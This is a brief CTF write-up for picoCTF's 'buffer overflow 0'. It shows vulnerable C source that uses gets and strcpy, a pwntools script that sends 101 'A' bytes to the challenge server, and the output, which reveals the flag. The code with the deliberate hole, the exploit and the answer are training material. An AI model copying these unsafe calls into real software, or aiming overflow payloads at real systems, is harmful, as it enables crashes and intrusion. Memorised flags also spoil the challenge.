CTF buffer overflow 0

Two files are given:

binary vuln

and vuln.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

In order to get the flag a buffer overflow is needed.

def rem():
    r = remote("saturn.picoctf.net",61338)
    print(r.recvuntil("Input: "))
    payload = b'A' * 101
    r.sendline(payload)
    print(r.recvline())

$ python3 script.py
[+] Opening connection to saturn.picoctf.net on port 61338: Done
/home/cheepsss/Documents/buffer overflow 0/script.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(r.recvuntil("Input: "))
b'Input: '
b'picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}\n